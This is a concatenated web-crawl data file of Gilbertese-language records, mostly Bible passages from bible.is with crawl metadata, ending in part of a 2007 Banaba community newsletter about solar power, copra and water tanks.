bati ae kamimii arona, are E na anganiia ake a itiaki; 19ao tera aroni m'aakana ae raka korakorana, nako ira ngaira aika ti onimaki. Te m'aaka aei bon ti te bo ma korakorani m'aakana, 20are E kam'akuria irouni Kristo ngke E a manga kamaiua man te mate, ao E katekateka i angaataina i karawa, 21ike E tautaeka iai i aoia uea ni kabaneia, ma ake a korakora, ma ake a m'aaka, ma ake a tautaeka, ao i aoia aara ni kabane aika atongaki, tiaki i aon ti te aba aei, ma i aon naba te aba are na roko. 22Ao E kaaki b'aai ni kabane i aani waeni Kristo, ao E anga Kristo nakon te ekaretia b'a atuuni b'aai ni kabane; 23ao te ekaretia bon rab'atani Kristo, ao onrakeni Kristo bon kakororaoan aron b'aai ni kabane n taabo nako,\nCopyright","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/www.bible.is\/GILBSP\/Eph\/1","date":"2017-01-17T09:53:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560279650.31\/warc\/CC-MAIN-20170116095119-00368-ip-10-171-10-70.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":634,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.415,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Aomata aika tooro aika mena i aan te amo n toronaki a riai n iangoia oin aia toka b'a a riai ni kabatiaki karineaia, b'a e aonga n taekinaki ni kamoamoaki te Atua ma ara reirei. 2Ao tooro aika Kristian aia toka, a na tai kakeai bonganaia i bukina ngkai raoia ni Kristian; ma a na kabatia riki te kan toro i rouia, b'a kioina ngkai te koraki akanne akana kab'aia n aia m'akuri n toro bon taan onimaki aika tangiraki. Ko na reireiia aomata baikai, ao ko na tuangiia ni kairoroia. 3Ngkana iai temanna ae reireiia aomata te koaua ae kaokoro, ao e aki boraoi nanona ma taeka ni koaua aika ana taeka ara Uea are Iesu Kristo, ao e aki boraoi naba ma koauan te Aro ni Kristian, 4ao bon te aomata ngaia ae kainikatonga ao e nano roo. E babaeakina te kan tititiraki ma te kauntaeka, aika e riki mai iai te bakantang, ma te unra, ma taetaebuaka, ma iango ni katautau aika aki raraoi, 5ma aia meremere n taai nako aomata aika babanga n iango, aika akea irouia te koaua. A taku n aia iango b'a tauan te Aro boni ngaia ae e reke mai iai te kaub'ai. 6Ma bon iai te kaub'ai ae bati n tauan te Aro iroun te aomata, ngkana e rauaki nanona n are e reke i rouna. 7B'a bon akea te bae ti uotia nako aon te aba, ao bon akea te bae ti na uotia nako mai aon te aba; 8ma ngkana iai karara ma kunnikaira, ao a na rau nanora iai. 9Ma akana kan riki ni kaub'ai a b'aka nako nanon te kaririaki, a m'ane n te b'ai ni kam'am'ane, ao a reke n naano aika baba ma ni kamaraki, aika taonaki ni kab'ab'aaki iai n tiringaki ma ni kamateaki. 10B'a te baki-tianti boni ngaia ae a nako mai iai aaro nako aika buakaka. Iai tabem'aang aika rangi ni baki-tianti n te aro are a kitana iai te onimaki, ao a uruaki nanoia n te aro ae a rawawata iai. 11Ao ngkoe, ae ana aomata te Atua, ko na kararoako mani baikai, ao ko na kataa ae ko kona, ni karaoa nanon te Atua, ni maiu n reitaki ma Ngaia, ni b'aina te kakaonimaki ma te maiu n tangira, ma te taotaonaki n nano, ma te nimamannei. 12Ko na kekeiaki m'aaka n te kabo birim'aaka ae b'ain te onimaki, ao karekea te maiu are aki toki b'a kaniwangam; b'a ngaia aei te maiu are E weteiko nako iai te Atua ngke ko moa ni kaota iai am onimaki i mataia taani kakoaua aika bati. 13I tuangko i matan te Atua, ae anga te maiu nakoni b'aai ni kabane, ao i matani Kristo Iesu, are kaota tauani bukin te koaua are raoiroi i matani Bontio Birato, 14b'a ko na rangi n ongotaeka nakoni baike ko a tia n tuangaki, ma ni kakaonimaki nako iai ni karokoa rokon ara Uea are Iesu Kristo; 15are e na kaotaki rokona n te tai ae riai iroun te Tia Tautaeka ae karaoiroaki ae ti temanna, ae aia King king, ao aia Uea uea; 16ae ti Ngaia ae aki mamate, ae maeka n te oota are aki konaaki ni kawaraki; akea te aomata ae e a tia n noria, ao akea ae kona n noria. Ana b'ai te karineaki ma te m'aaka ae aki totoki. Amen. 17Ko na tuangiia akana kaub'ai ni b'ain te maiu aei, b'a a na tai kainikatonga ao a na tai onimakina te kaub'ai ae aki teimatoa; ma a na onimakina te Atua, ae kabane b'aai ni kabatiai n anganira b'a ti na kukurei iai. 18A na kakaraoa ae e raoiroi, a na kabati m'akuri aika riai, a na maiu n tituaraoi, ao a na tauraoi ni buokanib'ai n aia b'ai; 19ao n te aro aei a kaiko iai kaub'aia ae na riki b'a aaia ae e raoiroi i bukini boong aika na roko, b'a e aonga n reke i rouia te maiu ni koaua. 20Timoteo, ko na kawakina te baere ko mwiokoaki iai. Ko na tan nako mani b'arantiko aika akea nanoia aika aki itiaki, ao man iango ni kauntaba aika kanoan te baere e aki tau n aranaki b'a te Rabakau; 21are a kaota tauani bukina tabem'aang, ao a riki ni bua iai aia onimaki. E na mena iroumi te akoaki.\nCopyright","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/www.bible.is\/GILBSP\/1Tim\/6","date":"2017-01-20T08:16:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560280801.0\/warc\/CC-MAIN-20170116095120-00527-ip-10-171-10-70.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":723,"character_repetition_ratio":0.037,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.452,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 15:2020I kekeiaki n tataekina te euangkerio tiaki n taabo ike e a tia n roko iai taekani Kristo, b'a N na aki reita nako te m'akuri are e a tia ni moanaki i m'aiu iroun temanna. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/15\/20","date":"2017-01-21T11:18:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560281069.89\/warc\/CC-MAIN-20170116095121-00415-ip-10-171-10-70.ec2.internal.warc.gz","language":"gil","language_score":0.9997383952,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 0.9997383952140808}","num_words":52,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.327,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1A m'ananga B'auro ma Tiira n ri nukan Ambibori ma Aboronia, ao a roko i Tetaronike, are iai m'aneabaia I-Iutaia iai. 2Ao e rin B'auro n te m'aneaba n aron are e tataneiai iai, ao e reireiia aomata koaua man te B'aib'ara i nanon tenua te Taabati, 3ni kab'arab'arai nanoia, ao ni kaoti m'akoro mai iai ake a taekina te Kristo b'a E riai n ri nanon te rawawata ma te maraki, ao b'a E na manga uti mai buakoia maate; ao e taku nakoia, \"Iesu aei ae I taekinna nakoimi, bon te Kristo Ngaia.\" 4Iai tabem'aang i buakoia aika a anaaki nanoia, ma ngaia are a raona B'auro ma Tira; ao a raonaki naba irouia I-Erene aika bati aika tataromauria te Atua, ao irouia aine aika bati aika kakannato. 5Ao a bakantang I-Iutaia, ma ngaia are a bobootiia aomata tabem'aang aika buakaka ake a roko n akea bongaia n te tabo ni m'akete, ao ngke a m'aiti aia koraki, ao a kakiriwea te kaawa. A ninia ma n urua ana auti Iaton n ukoukoria uakekei, b'a a na kaotiia nakoia aomata. 6Ao ngke a aki reke i rouia, ao a katika Iaton ma taari tabem'aang nakoia taan taua taekan te kaawa arei, ao a takarua ni kaangai, \"A roko naba ikai uake a kakiriwe n taabo nako, 7ao e akoia Iaton; a bane te koraki aei n ri aon ana taeka Kaitaraa, ngkai a taku b'a bon iai riki temanna te uea b'a Iesu.\" 8Ao a kiriwe nanoia aomata ma taan taua taekan te kaawa arei ngke a ongo taeka akekei. 9Ao ngke a tia taan taua taekan te kaawa arei n anaa te m'ane mairoun Iaton ma raona nako, ao a kanakoia. 10Ngke e a bon tib'a roo ao a kanakoaki naba B'auro ma Tira irouia taari nako Beroia; ao ngke a roko iai, ao a rin ni m'aneabaia I-Iutaia. 11A raraoi riki nanoia I-Iutaia i Beroia nakoia ake i Tetaronike, b'a a kani kaaki i nanoia ana taeka te Atua, ao a katoa te bong ae koraki n ukeuke n te B'aib'ara, b'a a kani kakoauai baike a taekinaki. 12Ma ngaia are, a bati i buakoia aika onimaki, ni botaki ma aine n Erene aika bati aika kakannato, ma mm'aane naba aika bati. 13Ma ngke a ataia I-Iutaia ake i Tetaronike b'a e taekinaki naba ana taeka te Atua irouni B'auro i Beroia, ao a roko naba iai n aki karauia aomata, ao ni kakiriweia. 14Ma ngaia are, e a kawaekoaki ngkanne ni kanakoaki B'auro irouia taan onimaki nakon te tabo are e mena tari iai; ma e tiku Tira ma Timoteo i Beroia. 15Ao aomata ake a ira B'auro a karokoa i Atenai; ao a nako ngke e reke irouia ana taeka B'auro i bukin Tira ma Timoteo are a na tuangaki b'a a na barekia n nakoina. 16Ao ngke e taningaia B'auro i Atenai, ao e kamarakaki atuna ngke e nora te kaawa b'a a bati bouananti n tei i aona. 17Ma ngaia are, e kauntaeka ni m'aneabaia I-Iutaia ma I-Iutaia ao aomata aika tiaki I-Iutaia aika tataromauria te Atua; ao e kauntaeka naba n te tabo ni m'akete n te bong ae koraki ma aomata ake a rikekei. 18E kauntaeka naba ma taan rabakau tem'angina aika aranaki b'a Ebikourio ao tabeman b'a Tetoiko, A taku tem'angina i buakoia, \"Tera ae e kataia n taekinna te aomata ae kakanrabakau aei?\" Ao a kaangai tabem'aang, \"Kanga te tia taekinia taimonio aika ianena.\" B'a e kab'arab'araa nakoia taekan Iesu ma te manga-maiu mai buakoia maate. 19Ao a taua B'auro ni kairiia nakon te Areiobako, ao a kaangai, \"Ko kona n tuangiira b'a tera te koaua ae boou ae ko taekinna? 20B'a iai b'aai tabeua aika boou aika ti ongo mai roum; ti a kan ataia ngkanne b'a tera nanoni baikanne.\" 21B'a anuaia I-Atenai ni kabaneia, ma iruwa ake a maeka i Atenai, bon ti te kabanea aia tai ni karakin rongorongoni baika boou ao te ongongora iai. 22E tei ngkanne B'auro i mataia kaain te kabowi n te Areiobako, ao e kaangai, Mm'aane aika I-Atenai, I noringkami n aromi nako b'a kam rangi n reitaki ma antimi. 23B'a ngke I nakonako i nanon ami kaawa ma n taratarai b'aai aika kam taromauri, ao I nora naba te baonikarea teuana ae e koreaki i aona ae kaangai, \"NAKON TE ATUA ARE AKI ATAAKI.\" Ma ngaia aei, b'a Ae kam taromauria, Are aki ataaki, ao boni Ngaia ae I kaotia nakoimi. 24Te Atua, are karaoa aonnaba ma b'aai ni kabane aika i nanona, bon Ueani karawa ma aon te aba, ao E aki maeka n taabo n taromauri aika karaoaki ni baiia aomata. 25Ao bon akea te b'ai ae a karaoia aomata i bukina b'a akea te b'ai ae E kainanoia, ngkai boni Ngaia ae anga te maiu, te ikeike, ma b'aai ni kabane nakoia aomata ni kabaneia; 26ao E karikiia botannaomata ni kabaneia mairoun te aomata ae temanna, b'a a na maeka i aon te aba ni kabane; ao E a kamani bairea te tai are a na maeka iai, ma tiani neia ni maeka. 27E karikia aomata b'a a na ukoukoria, ao a na kunea ngkana arona b'a e roko i rouia te namakin n te tai teuana b'a a na kakaea. B'a E aki raroa nako te Atua mai roura n tatabemaniira nako, 28b'a boni Ngaia ae ti maiu i rouna, ti kakam'akuri i rouna, ao iai ngaira i rouna; n ai aron are a kaangai ami tia oto-kuna tabem'aang, \"B'a ti riki naba mai Rouna.\" 29Ma ngaia aei, b'a ngkai ti riki mairoun te Atua ao e aki riai b'a ti na taku i nanora b'a te koora arona n Atua, ke te tirewa, ke te atibu, are karaoaki b'a katotongana iroun te aomata ae rangi n rabakau ni m'akuri n tabonibaina, man ana iango. 30Ma ngaia ae E aki bairei taekaia aomata te Atua i nanon tain te babanga arei; ma E tuangiia aomata ngkai ni kabaneia n taabo nako b'a a na rairi nanoia, 31i bukina b'a E a tia ni motika te bong are E nang kaeti iai taekaia kaain aonnaba n te raoiroi iroun te Aomata are E a tia n rineia; ao E kaota koauana nakoia aomata ni kabaneia, ngke E a manga kamaiua mai buakoia maate. 32A kakaniko tem'angina ngke a ongo taekaia maate b'a a kona ni manga uti; ao a taku ake tem'angina, \"Ti a manga ongora i roum n taekan naba te baenne.\" 33Ao e oti nako ngkanne B'auro mai buakoia. 34Ma iai aomata tabem'aang ake a raoraona B'auro, ao a riki b'a taan onimaki: temanna i buakoia bon Rionutio ae kaain te Areiobako, ao te aine ae arana Tamariti, ao tem'angina riki.\nCopyright","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/17","date":"2017-01-23T12:58:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560282926.64\/warc\/CC-MAIN-20170116095122-00517-ip-10-171-10-70.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1118,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.413,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"16b'a ana tia m'akuri Iesu Kristo ngai i bukiia aomata aika tiaki I-Iutaia. I m'akuri b'a ai aron te ibonga ngai n tataekina ana euangkerio te Atua, b'a a aonga n riki aomata aika tiaki I-Iutaia b'a ai aroni karea aika E na kukurei te Atua i rouia, aika a tia ni katabuaki i bukina iroun te Tamnei are Raoiroi.\nROM 15:16\nFREE!\nOne App.\n1218 Languages.","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/15\/16","date":"2017-01-21T00:47:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560280891.90\/warc\/CC-MAIN-20170116095120-00390-ip-10-171-10-70.ec2.internal.warc.gz","language":"gil","language_score":1.0000070333,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000070333480835}","num_words":65,"character_repetition_ratio":0.099,"word_repetition_ratio":0.0,"special_characters_ratio":0.262,"stopwords_ratio":0.338,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Nora aroni m'aitin te tangira are E tangirira iai te Atua, b'a ti aonga n atongaki b'a natin te Atua: ao bon natina ngaira. Ma ngaia ae a aki ataira kaain aon te aba, i bukina b'a a aki ata te Atua. 2Ngkami aika kam tangiraki, bon natin te Atua ngaira ngkai; ao e tuai ni kaotaki b'a terana arora rimwi. Ti ataia, b'a ngkana E a manga oki Kristo, ao ti na katotonga arona, i bukina b'a ti na nora arona ni koaua. 3Ao aomata nako aika iai i rouia te kaantaninga aei, ae kaantaningan Teuarei, a kawakinia b'a a na itiaki ni maiuia, n ai aroni Kristo ngkae E itiaki ni maiuna. 4Ane karaoa ae bure ao e ekaanako te tua; ao te bure bon te ekaanako te tua. 5Ao kam bon ataia b'a E karokoaki Teuarei b'a E na uoti nako buure; ao bon akea te bure i nanona. 6Ane nim ma Ngaia ao e aki bure; ane bure ao e tuai n oota raoi n aroni Kristo, ke e tuai n ataia. 7Ataei aika uarereke, e na tai m'am'anaingkami temanna: b'a ane b'ab'aina te atataiaomata, ao e bon atataiaomata; 8ane karaoa ae bure ao boni mairoun te riaboro, b'a e a kamani bubure te riaboro ma ngke a moa n riki b'aai. E karokoaki Natin te Atua i bukin aei, b'a E aonga n uru ana m'akuri nako te riaboro. 9Ane bungiaki mairoun te Atua ao e aki karaoa ae bure, b'a e memena anuan te Atua i nanona; ao e aki kona ni bure, b'a e bungiaki mairoun te Atua. 10A kaotaki natin nako te Atua ma natin nako te riaboro n aei: ane aki karaoa nanon te Atua ao tiaki mairoun te Atua, ao ai uana naba ma ane aki tangira tarina. 11B'a aio te taeka are kam ongo ma ngke kam moa n riki b'a Kristian, b'a ti na i tangitangiri; 12ao ti na aki katotonga aroni Kain are mairoun teuare buakaka, ngke e kamatea tarina. Ao e aera ngke e kamatea? B'a kioina ngke a bubuaka ana m'akuri, ao a raraoi ana m'akuri tarina. 13Taari, kam na tai mimi ngkana a ribaingkami kaain aon te aba ae bubure. 14Ti ataira b'a ti a tia ni butaki nako man te mate nako nanon te maiu, ngkai ti tangiriia taari. Ane akea te tangira i rouna, ao e maeka n te mate. 15Ane riba tarina ao ai aron te tia tiri aomata; ao kam ataia b'a bon akea te tia tiri aomata ae reke i rouna te maiu are aki toki. 16Ti ata te tangira n aei, ngke E anga maiuna i bukira; ma ngaia ae e riai b'a ti na anga maiura i bukiia taari. 17Ma ane iai ana b'ai aika b'ain te maiu aei, ao ngkana e nora tarina b'a iai kain nanona, ma e aki nanoangaia, ao e na kanga n taku b'a e mena i nanona tangiran te Atua? 18Au ataei aika uarereke, ti na tai i tangitangiri n ti te taeka ao n te newe, ma a na noraki arora n i tangitangiri n te m'akuri ao n te koaua. 19Ane ti na kona n ataira iai b'a ana b'ai te koaua ngaira, ao b'a a na reke raun nanora ngkana ti tei i matana; 20b'a ngkana a kabuakakaira nanora, ao E matairiki riki te Atua nakon nanora, ao E atai b'aai ni kabane. 21Ngkami aika kam tangiraki, ngkana a aki kabuakakaira nanora, ao ti aki maaku i matan te Atua; 22ao ane ti bubuti ao ti anganaki i Rouna, b'a kioina ngkai ti tau ana tua, ao ti karaoi baika kakukurei i matana. 23Ao aio ana tua, b'a ti na onimakina aran Natina are Iesu Kristo, ao ti na i tangitangiri, n ai aron taekan te tua are E anganira te Atua. 24Ao ane tau ana tua ao e nim ma te Atua, ao te Atua E nim ma ngaia. Ao ti ataia b'a E nim ma ngaira n aei, i bukin te Tamnei\nCopyright","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/www.bible.is\/GILBSP\/1John\/3","date":"2017-01-22T15:46:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560281426.63\/warc\/CC-MAIN-20170116095121-00025-ip-10-171-10-70.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":667,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.423,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 TIMOTEO 4:1010B'a ti kakorakoraira ni m'akuri ao ti kekeiaki m'aaka i bukina ngkai ti onimakina te Atua ae maiu, ae aia Tia Kamaiu aomata ni kabaneia, ai moara riki te koraki aika onimaki. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/www.bible.is\/GILBSP\/1Tim\/4\/10","date":"2017-01-18T07:58:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560280242.65\/warc\/CC-MAIN-20170116095120-00501-ip-10-171-10-70.ec2.internal.warc.gz","language":"gil","language_score":0.9998773336,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9998773336410522}","num_words":48,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.25,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 9:99Ao te ruu aei bon te b'ai ni kabotau i bukin taai aikai. Ao b'aintituaraoi ma karea aika a anga aomata ngkai, a aki kona ni kakororaoa karaoiroani mataniwin nanon te tia taromauri, Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/9\/9","date":"2017-02-25T00:27:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171632.91\/warc\/CC-MAIN-20170219104611-00494-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":0.9999648333,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 0.9999648332595825}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.265,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 11:2222Ma ngkana e niniaki iroun ae aintoa riki nako ina ao e konaaki i rouna, ao teuanne e na anai ana b'ai n un teuare konaaki, ake e onimakin, ao e na tib'atib'ai nakoia raona. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/11\/22","date":"2017-02-23T21:52:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171232.43\/warc\/CC-MAIN-20170219104611-00326-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":0.9999145269,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 0.9999145269393921}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.294,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 KORINTO 1:99ti aki nanokokoraki b'a ti taku b'a ti nangi boni mate. Ma e riki aei b'a ti aonga n aki onimakinira, ma ti na onimakina te Atua are a manga uti maate i Rouna; Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/1\/9","date":"2017-02-25T23:37:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171900.13\/warc\/CC-MAIN-20170219104611-00023-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":0.9989511371,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9989511370658875}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.32,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 15:2828Ma ngaia aei, ngkana I a tia ni karaoa aei, ma n anganiia naba rab'atan te m'aiti ni m'ane are e a tia ni bobotaki i bukiia, ao N na karoko iroumi i aoni kawaiu nako Tibein. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/15\/28","date":"2017-02-26T05:53:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171936.2\/warc\/CC-MAIN-20170219104611-00071-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":0.9999632835,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9999632835388184}","num_words":53,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.264,"stopwords_ratio":0.321,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KOROTE 1:66are roko i roumi ao i aonnaba ni kabane: ao e kariki uaa ma n riki rake naba i nanomi man te bong are kam ongo taekana iai, ao n ata raoi ana akoi te Atua n arona ni koaua. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/Col\/1\/6","date":"2017-02-26T06:31:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171936.2\/warc\/CC-MAIN-20170219104611-00086-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":1.0000058413,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.000005841255188}","num_words":56,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.339,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 11:3939Ao E taku te Uea nako ina, Ngkami aika B'aritaio, kam kaitiaka tinanikun te m'angko ma te raurau, ma a on nanomi n tangiran te kan tautaeka ma te kani kaub'ai, ao te buakaka. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/11\/39","date":"2017-02-21T03:13:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501170624.14\/warc\/CC-MAIN-20170219104610-00364-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":0.9994850755,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9994850754737854}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.255,"stopwords_ratio":0.3,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A COMMUNITY BASED NEWSLETTER\nNOT FOR OFFICIAL USE, ONLY FOR TEI BANABA UPDATES\nEditors:\nNati ni Banaba iaon Tarawa.Jan-March 2007\nTe Ururing ma te Kaitau ibukin baika a tia n reke iroura!\nTe korakora man Otan Taai, e moamoa iai taran aia kamatebwai ara ataei n te bong bwa e na teimatoa\nBon ana kakaitau te Nati ni Banaba nakon ara Tia Tei ae beku mwaaka ni biriakinan kabaiara. Ngaira tarimi aika iaon Tarawa, e nage ngke ti bon maeka iaon Tarawa, ma ti bon raonii naba bwanami ni kakaitau ngkai baika e biriakini ibukimi, ai bon ibukira naba.\nN ongora ao a tia n reke ami solar power, ao tao angiia kain auti a tia n reke buokaia man te solar power project aei. Kam bia buokii aron kateimatoakin ami solar nako bwa e aki koaua ae ai akea aia taura ami ataei, aika ataein abara ibukin aia kamatebwai.\nNi marorora ma te Tia Tei ao e kaotia ae iai ngkai ana tamnei ibukin manga karokoan riki taian solar ibukia ake a tuai reke onoia n te karikirake aei. Are i eta ngkoe te Tia Tei ao e bia mwaiti riki te solar nako Banaba ba e aonga n teimatoa n ota aon abara n te bong. E kaoti naba MP Timon ba iai ngkai te rabata ni buoka teuana man te European Union are e nang kaunga kabonganaan te solar power. E na rabata riki te tamnei aei nakon taai aika imwaira.\nTe Bono bon te oin bwai\nTi ongo naba ngaira te Nati ni Banaba mai iaon Tarawa bwa ngaia e a kam tei ami bono ane irarikin te bootabu. E akiaua aei ba bon totokaon te kanganga ae na kona ni bubura riki ao man rota ara bootabu aao ara rawa n akawa. Ti ongo bwa e nang reke ae bon oin ara kaibuke ao e uara ngkai te bootabu? E na bon kona n rororake inanona. Ngaia are e raba naba iangoan katean te bono ba bon totokoan taian kanganga aika aki kantaningaki. Ao e raraba ara Tia Tei ibukin kakoroan nanon aei.\nTe Bai-ni-bakoa ae a kawaerakea te tianti mai marawa\nE a bon nakon ae marurung ao ae konamaki. Ngaira aika iaon Tarawa e kanganga reken ke rakan ara kareke tianti. Ngke mwaitin boora arei ai bon mwaitina naba ni katoa uowa te wiki. Ma ngkami aika iaon Banaba, ai bon mwaitin ami mwane ane ni korakorami. Ngaia are tai kakabane tai. E raba ara Tia Tei bwa e tia ni biriakina kateimatoan rereken mwanen te bai-ni-bakoa, ao aio ai bon kateimatoan naba rereken ami tianti. Ma tai mamaninga bwa ngaia e anaaki naba te kun-ni-bakoa ke te uakun iroun te Kiribati Produce iaon Tarawa.\nAo e uara marawa, e teimatoa ni waru?\nTi ongo naba ngaira mai Tarawa ae iai naba ami boti aramanim aika awa (4) ma intinia. A boo baira n aei, ma tera ara bai iai, eng bon tii te kakatonga ao te kimarimari bwa a reke raoi bwai ake kam kainnanoi. E aoria ma tai tabwaraa te bai-ni-bakoa ao te uakun naba bwa e anaaki iroun te kambana ae te Local Produce i Bairiki Tarawa.\nEng ibukin reken boti aikai ao ti a bon raoni nanomi ni kakaitau nakon ara Tia Tei ae Timon Aneri ba a bon reke baikai man ana makuri korakora, ana imanono ao ai tamaroan reitakina ma aobitia aika kakaokoro n ana rabata nako te tautaeka. Taua teim anne ara Tia Tei ao tai tabwara, kamwaitii riki kabwaia ae aekakin aikai ao ni kabwaroi iaon Banaba.\nBaika a tia aroia ma ai ti karokoaia iaon Banaba\nTe Karau bon te kaubwai ae kakawai\nNgaia are e bon riai kawakinan raoi te karau n taai aikai, ai moara riki ngkai abara aio bon nnen te aki kakarau ao te rongo. Ibukin aio ao ara Tia Tei, e a bon tia ni kairoroi reken taian tangke ni karau ika mwaitia 85 ao te aekaki n tangke are 6,000 te liter kanoana. E kakoaua te Nati ni Banaba bwa e korakora ngureakinan te buoka aio nako Banaba bwa a taku bwa 